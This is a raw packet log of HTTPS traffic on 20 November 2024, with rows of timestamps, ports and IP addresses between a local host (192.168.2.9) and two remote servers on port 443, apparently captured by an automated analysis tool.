Nov 20, 2024 10:20:11.819261074 CET	49830	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.819284916 CET	443	49830	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.819777966 CET	49830	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.819787979 CET	443	49830	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.822825909 CET	443	49831	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.823707104 CET	49831	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.823707104 CET	49831	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.823740959 CET	443	49831	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.823750973 CET	443	49831	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.852035046 CET	443	49833	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.852951050 CET	49833	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.852983952 CET	443	49833	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.853079081 CET	49833	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.853084087 CET	443	49833	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.867105961 CET	443	49829	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.867343903 CET	443	49829	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.868731022 CET	49829	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.868731022 CET	49829	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.868731022 CET	49829	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.871584892 CET	49834	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.871629000 CET	443	49834	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.871731997 CET	49834	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.871925116 CET	49834	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.871932983 CET	443	49834	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.924859047 CET	443	49830	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.925144911 CET	443	49830	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.925323009 CET	49830	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.926367998 CET	443	49831	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.926568031 CET	443	49831	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.926614046 CET	443	49831	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.926652908 CET	49831	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.926652908 CET	49831	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.937561035 CET	49830	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.937561035 CET	49830	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.937586069 CET	443	49830	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.937597990 CET	443	49830	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.939399004 CET	49831	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.939435959 CET	443	49831	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.939618111 CET	49831	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.939627886 CET	443	49831	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.947670937 CET	49835	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.947717905 CET	443	49835	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.947779894 CET	49835	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.948827982 CET	49836	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.948864937 CET	443	49836	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.948923111 CET	49836	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.949240923 CET	49835	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.949251890 CET	443	49835	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.949402094 CET	49836	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.949418068 CET	443	49836	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.956711054 CET	443	49833	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.957093000 CET	443	49833	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.957165003 CET	49833	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.958018064 CET	49833	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.958029985 CET	443	49833	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.958041906 CET	49833	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.958046913 CET	443	49833	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.978178024 CET	49837	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.978218079 CET	443	49837	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:11.978282928 CET	49837	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.990365028 CET	49837	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:11.990379095 CET	443	49837	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.177038908 CET	49829	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.177073956 CET	443	49829	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.544709921 CET	443	49834	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.546364069 CET	49834	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.546399117 CET	443	49834	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.546924114 CET	49834	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.546928883 CET	443	49834	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.607192039 CET	443	49835	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.609203100 CET	49835	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.609234095 CET	443	49835	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.609836102 CET	49835	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.609842062 CET	443	49835	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.635124922 CET	443	49836	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.636766911 CET	49836	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.636795044 CET	443	49836	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.637324095 CET	49836	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.637327909 CET	443	49836	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.644762993 CET	443	49837	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.646538973 CET	49837	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.646554947 CET	443	49837	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.647406101 CET	49837	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.647413015 CET	443	49837	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.654723883 CET	443	49834	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.654788971 CET	443	49834	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.654875994 CET	49834	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.655430079 CET	49834	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.655447960 CET	443	49834	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.655459881 CET	49834	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.655466080 CET	443	49834	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.673589945 CET	49838	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.673631907 CET	443	49838	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.673717976 CET	49838	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.675725937 CET	49838	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.675736904 CET	443	49838	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.714720011 CET	443	49835	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.714755058 CET	443	49835	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.714816093 CET	443	49835	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.714881897 CET	49835	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.714929104 CET	49835	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.744541883 CET	49835	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.744569063 CET	443	49835	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.744582891 CET	49835	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.744589090 CET	443	49835	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.746738911 CET	443	49836	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.746906042 CET	443	49836	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.746975899 CET	49836	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.750410080 CET	443	49837	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.750622034 CET	443	49837	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.750678062 CET	443	49837	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.750698090 CET	49837	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.750731945 CET	49837	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.756925106 CET	49836	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.756952047 CET	443	49836	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.756966114 CET	49836	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.756972075 CET	443	49836	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.767296076 CET	49837	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.767326117 CET	443	49837	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.767343998 CET	49837	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.767350912 CET	443	49837	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.770643950 CET	49839	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.770667076 CET	443	49839	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.770730972 CET	49839	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.779445887 CET	49839	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.779462099 CET	443	49839	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.783730030 CET	49840	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.783765078 CET	443	49840	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.783834934 CET	49840	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.784157991 CET	49840	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.784169912 CET	443	49840	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.787383080 CET	49841	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.787406921 CET	443	49841	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:12.787483931 CET	49841	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.787902117 CET	49841	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:12.787911892 CET	443	49841	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.313214064 CET	443	49838	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.313973904 CET	49838	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.313996077 CET	443	49838	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.314958096 CET	49838	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.314963102 CET	443	49838	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.386914015 CET	443	49762	142.250.186.100	192.168.2.9
Nov 20, 2024 10:20:13.386979103 CET	443	49762	142.250.186.100	192.168.2.9
Nov 20, 2024 10:20:13.387082100 CET	49762	443	192.168.2.9	142.250.186.100
Nov 20, 2024 10:20:13.423599958 CET	443	49839	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.425036907 CET	49839	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.425054073 CET	443	49839	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.425754070 CET	443	49840	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.425860882 CET	49839	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.425870895 CET	443	49839	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.426071882 CET	443	49838	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.426211119 CET	49840	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.426233053 CET	443	49840	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.426620960 CET	49840	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.426626921 CET	443	49840	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.427098989 CET	443	49838	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.427150965 CET	49838	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.427179098 CET	49838	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.427192926 CET	443	49838	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.427205086 CET	49838	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.427210093 CET	443	49838	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.430233002 CET	49842	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.430268049 CET	443	49842	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.431226969 CET	49842	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.432748079 CET	49842	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.432760000 CET	443	49842	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.433283091 CET	49762	443	192.168.2.9	142.250.186.100
Nov 20, 2024 10:20:13.433293104 CET	443	49762	142.250.186.100	192.168.2.9
Nov 20, 2024 10:20:13.438759089 CET	443	49841	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.441584110 CET	49841	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.441622019 CET	443	49841	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.442121983 CET	49841	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.442133904 CET	443	49841	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.523302078 CET	443	49839	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.523538113 CET	443	49839	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.523607016 CET	49839	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.525024891 CET	49839	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.525043964 CET	443	49839	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.525078058 CET	49839	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.525084019 CET	443	49839	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.526417017 CET	443	49840	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.526479959 CET	443	49840	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.526608944 CET	49840	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.527118921 CET	49840	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.527138948 CET	443	49840	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.527151108 CET	49840	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.527158022 CET	443	49840	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.530138969 CET	49843	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.530194044 CET	443	49843	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.530443907 CET	49843	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.530891895 CET	49844	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.530916929 CET	443	49844	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.531006098 CET	49844	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.531142950 CET	49843	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.531162024 CET	443	49843	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.531227112 CET	49844	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.531239033 CET	443	49844	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.538614988 CET	443	49841	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.538646936 CET	443	49841	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.538697958 CET	49841	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.538700104 CET	443	49841	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.538768053 CET	49841	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.540884972 CET	49841	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.540904045 CET	443	49841	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.540915012 CET	49841	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.540920973 CET	443	49841	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.544007063 CET	49845	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.544049978 CET	443	49845	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:13.544162989 CET	49845	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.544559956 CET	49845	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:13.544574976 CET	443	49845	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.142810106 CET	443	49842	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.226113081 CET	49842	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.232578039 CET	443	49844	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.234285116 CET	443	49845	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.235347033 CET	443	49843	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.333564997 CET	49844	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.333571911 CET	49845	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.333590031 CET	49843	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.343890905 CET	49843	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.343915939 CET	443	49843	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.345182896 CET	49843	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.345190048 CET	443	49843	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.345906973 CET	49842	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.345942020 CET	443	49842	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.346570015 CET	49842	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.346575022 CET	443	49842	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.347307920 CET	49844	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.347342968 CET	443	49844	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.347945929 CET	49845	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.347959995 CET	443	49845	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.348164082 CET	49844	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.348172903 CET	443	49844	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.348440886 CET	49845	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.348448038 CET	443	49845	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.445092916 CET	443	49843	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.445220947 CET	443	49843	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.445281029 CET	49843	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.447815895 CET	443	49845	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.447984934 CET	443	49845	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.448050976 CET	443	49845	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.448065042 CET	49845	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.448101997 CET	49845	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.448657036 CET	443	49842	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.449033022 CET	443	49844	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.449139118 CET	443	49842	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.449188948 CET	49842	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.449255943 CET	443	49844	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.449309111 CET	49844	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.468012094 CET	49843	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.468055964 CET	443	49843	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.468074083 CET	49843	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.468080997 CET	443	49843	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.470505953 CET	49845	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.470535040 CET	443	49845	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.470552921 CET	49845	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.470560074 CET	443	49845	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.472239017 CET	49842	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.472264051 CET	443	49842	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.472296953 CET	49842	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.472304106 CET	443	49842	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.473938942 CET	49844	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.473978043 CET	443	49844	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.473997116 CET	49844	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.474004984 CET	443	49844	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.499351978 CET	49846	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.499404907 CET	443	49846	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.499473095 CET	49846	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.503235102 CET	49847	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.503293991 CET	443	49847	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.503364086 CET	49847	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.503899097 CET	49848	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.503945112 CET	443	49848	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.504010916 CET	49848	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.504334927 CET	49846	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.504359961 CET	443	49846	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.504404068 CET	49847	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.504424095 CET	443	49847	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.504620075 CET	49848	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.504637957 CET	443	49848	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.505244017 CET	49849	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.505281925 CET	443	49849	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.505335093 CET	49849	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.505460978 CET	49849	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.505470991 CET	443	49849	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.840393066 CET	443	49832	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.840867996 CET	49832	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.840914011 CET	443	49832	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.841510057 CET	49832	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.841516972 CET	443	49832	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.941509008 CET	443	49832	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.942631960 CET	443	49832	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.942847013 CET	49832	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.942890882 CET	49832	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.942914009 CET	443	49832	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.942926884 CET	49832	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.942931890 CET	443	49832	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.949928045 CET	49850	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.949980974 CET	443	49850	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:14.950054884 CET	49850	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.950972080 CET	49850	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:14.950989008 CET	443	49850	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.155741930 CET	443	49846	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.155822039 CET	443	49849	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.156539917 CET	49846	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.156574011 CET	443	49846	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.156759977 CET	443	49847	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.157331944 CET	49846	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.157337904 CET	443	49846	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.157809973 CET	49849	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.157830000 CET	443	49849	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.158441067 CET	49849	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.158444881 CET	443	49849	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.158901930 CET	49847	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.158922911 CET	443	49847	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.159523964 CET	49847	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.159528971 CET	443	49847	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.172084093 CET	443	49848	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.172981977 CET	49848	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.173021078 CET	443	49848	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.173616886 CET	49848	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.173631907 CET	443	49848	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.261413097 CET	443	49849	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.261631966 CET	443	49846	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.261816025 CET	443	49849	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.261868954 CET	443	49849	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.261924982 CET	49849	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.262150049 CET	49849	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.262165070 CET	443	49849	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.262173891 CET	49849	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.262178898 CET	443	49849	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.262435913 CET	443	49846	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.262495041 CET	49846	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.263540983 CET	49846	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.263561964 CET	443	49846	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.264964104 CET	443	49847	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.265042067 CET	443	49847	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:15.265230894 CET	49847	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.266901016 CET	49851	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:15.266927004 CET	443	49851	13.107.246.45	192.168.2.9
